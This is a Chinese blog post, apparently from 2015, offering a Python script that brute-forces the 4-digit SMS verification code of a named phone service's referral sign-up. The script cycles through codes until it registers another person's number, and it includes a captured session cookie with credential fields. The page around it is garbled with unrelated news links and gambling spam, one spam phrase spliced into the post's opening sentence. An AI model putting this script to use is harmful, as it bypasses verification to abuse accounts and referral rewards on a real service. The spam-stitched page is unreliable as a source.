• 加速冲刺“第一个百年目标”——落实两会精神打好全面建成小康社会三大攻坚战 2019-07-20
  • 滨河西路南延工程进入路基施工阶段 2019-07-19
  • 《中国独角兽企业价值榜》和《中国瞪羚企业价值榜》发布 2019-07-19
  • 闪崩股有点多!每个背后都有个质押爆仓的惊心故事,这51股质押比例超60% 2019-07-13
  • 中国保险行业协会发布汽车后市场配件合车标准 2019-07-09
  • 切切切,端午节安康! 2019-07-09
  • 探索西部引才用才新机制 打造四川转型发展新引擎 2019-07-03
  • 女性之声——全国妇联 2019-06-28
  • 中共中央政治局集体学习 2019-06-26
  • 宝马、MINI与劳斯莱斯多款车型召回 共涉及5829辆 2019-06-26
  • 镇江破部督最大骗取出口退税案 2019-06-24
  • 海军第二十九批护航编队滨州舰技术停靠西班牙 2019-06-24
  • 段健的专栏作者中国国家地理网 2019-06-24
  • 马克思主义哲学是帮助我们看清世界的一双“慧眼” 2019-06-23
  • 外卖小哥选择为生命“引航”,网友疯狂点赞… 2019-06-19
  • 首页 > PHP与电话平台 > Python带协议头(headers)暴力注册MM电话代码

    201507月9

    Python带协议头(headers)暴力注册MM电话代码

    作者:admin 0 Comments 发表评论

    曾道人新报跑狗 www.jmuag.tw python接触没几天,但写 post程序是比较有趣比较有用的,所以研究了下,发现python的第三方库requests是很不错的POST,GET等网页交互操作的???,所以安装了这个库,并且参考文章://www.jmuag.tw/mmwldh.html,写了代码,其中协议头哪里弄了很久,另外在for循环里加入了while循环,结果程序没有自动跳出(这样用法是有问题的),后面用if判断就正常了。代码如下,都有解释,不说阐述:

    import requests # 引入requests???br /> url1=’//www.mmcaller.com/wap/laxinReg.act’ #POST网址
    data1=’mobile=被推荐的号码&invitedby=自己的号码&smsCode=1111&inviteway=web-url&sign=d479861f2626ad40709da1895ba4b9c0760e43bf9028ce84ea41626cd44f0bc475223fefd407bdd7e7b37bceb6fc62eab385198e1b95′
    #post的数据,其中1111是初始验证码

    head={‘Host’: ‘www.mmcaller.com’,
    ‘Connection’: ‘keep-alive’,
    ‘Content-Length’: ‘185’,
    ‘Accept’: ‘application/json’,
    ‘Origin’: ‘//www.mmcaller.com’,
    ‘X-Requested-With’: ‘XMLHttpRequest’,
    ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 TheWorld 6’,
    ‘Content-Type’: ‘application/x-www-form-urlencoded’,
    ‘Referer’: ‘//www.mmcaller.com/w/lx.c?s=web-url&a=?????’,
    ‘Accept-Encoding’: ‘gzip,deflate,sdch’,
    ‘Accept-Language’: ‘zh-CN,zh;q=0.8’,
    ‘Cookie’: ‘JSESSIONID=6517114FFCEBAB0FE9E5228C63A3FE08; U_UID_JSESSIONID_KEEPC=492569; U_BC_JSESSIONID_KEEPC=0.0; U_NAME_JSESSIONID_KEEPC=自己号码; U_PWD_JSESSIONID_KEEPC=37813d32cd5f64c0; Hm_lvt_6411748e94749dc822884a48bd026032=1436195631,1436280948,1436440536; Hm_lpvt_6411748e94749dc822884a48bd026032=1436449102; Hm_lvt_026df1e3785835b164361376798f7917=1436195274,1436280878,1436440509; Hm_lpvt_026df1e3785835b164361376798f7917=1436449123’}
    #协议头,就是这么写的,POST要用到,如果不懂,可以参考文章://www.jmuag.tw/mfwydh.html中关于协议头的解释

     

    r=requests.post(url1,data1,headers=head)#requests的POST数据格式,第一个是网址,第二个是POST数据,第三个是协议头,协议头在有些POST里不是必须的,但大部分都需要这个。

    r1=r.content
    print r1 #打印POST初始数据后的返回值
    numcod=1000 #设置初始跑码为1000,因为验证码是4位数,所以从这个跑起不会漏
    for i in range(9000): #设置9000次循环
    numcod=numcod+1 #验证码每次加1
    numm=str(numcod) #把验证码由数值类型转换成文本型数据
    data2=data1.replace(‘1111’,numm) #替换初始验证码1111为每次生成的验证码数字
    r=requests.post(url1,data=data2,headers=head) #requests又在POST数据
    print numcod #打印已经跑了的验证码数字

    print r.content #打印POST后的返回信息
    if(r.content != r1): #如果返回信息 不等于初始值,那么就说明已经找到了真正的验证码
    print ‘恭喜,已经找到真正的验证码,并且注册成功,验证码为:’+numm #打印验证码数值
    break #跳出for循环

    可以下载源码看://pan.baidu.com/s/1jG1UUPK

    推荐阅读相关文章:PHP与电话平台

    本文地址://www.jmuag.tw/python-headers.html
    版权所有 © 转载时必须以链接形式注明作者和原始出处!

    本文目前尚无任何评论.

    发表评论

  • 加速冲刺“第一个百年目标”——落实两会精神打好全面建成小康社会三大攻坚战 2019-07-20
  • 滨河西路南延工程进入路基施工阶段 2019-07-19
  • 《中国独角兽企业价值榜》和《中国瞪羚企业价值榜》发布 2019-07-19
  • 闪崩股有点多!每个背后都有个质押爆仓的惊心故事,这51股质押比例超60% 2019-07-13
  • 中国保险行业协会发布汽车后市场配件合车标准 2019-07-09
  • 切切切,端午节安康! 2019-07-09
  • 探索西部引才用才新机制 打造四川转型发展新引擎 2019-07-03
  • 女性之声——全国妇联 2019-06-28
  • 中共中央政治局集体学习 2019-06-26
  • 宝马、MINI与劳斯莱斯多款车型召回 共涉及5829辆 2019-06-26
  • 镇江破部督最大骗取出口退税案 2019-06-24
  • 海军第二十九批护航编队滨州舰技术停靠西班牙 2019-06-24
  • 段健的专栏作者中国国家地理网 2019-06-24
  • 马克思主义哲学是帮助我们看清世界的一双“慧眼” 2019-06-23
  • 外卖小哥选择为生命“引航”,网友疯狂点赞… 2019-06-19
  • 悉尼fc队 极速快3定胆 科乐吉林麻将 下载 阿拉维斯俱乐部缩写 数字大转轮免费试玩 为什么高频彩老是拉人 快乐赛车开奖结果 fm2012埃弗顿 蝙蝠侠崛起APP下载 福建22选5精英论坛